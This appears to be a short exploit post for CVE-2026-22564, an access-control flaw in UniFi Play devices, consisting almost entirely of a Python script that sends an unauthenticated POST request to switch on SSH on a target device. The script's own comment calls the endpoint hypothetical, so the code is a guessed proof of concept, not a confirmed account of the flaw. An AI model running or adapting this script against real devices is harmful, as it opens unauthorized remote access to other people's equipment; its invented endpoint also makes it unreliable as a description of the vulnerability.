CVE-2026-22564: UniFi Play 访问控制不当漏洞

import requests def exploit_ssh_enable(target_ip): # Exploit concept for CVE-2026-22564 # This script attempts to enable SSH on the target device # Target endpoint (Hypothetical based on description) url = f"http://{target_ip}/api/system/enable-ssh" headers = { "Content-Type": "application/json", "User-Agent": "CVE-2026-22564-Scanner" } # Payload to enable SSH payload = { "enabled": True, "port": 22 } try: # Send POST request without authentication response = requests.post(url, json=payload, headers=headers, timeout=10) if response.status_code == 200: print("[+] Exploit successful! SSH has been enabled.") return True else: print(f"[-] Exploit failed. Status code: {response.status_code}") return False except Exception as e: print(f"[!] Error occurred: {e}") return False if __name__ == "__main__": target = "<TARGET_IP_ADDRESS>" exploit_ssh_enable(target)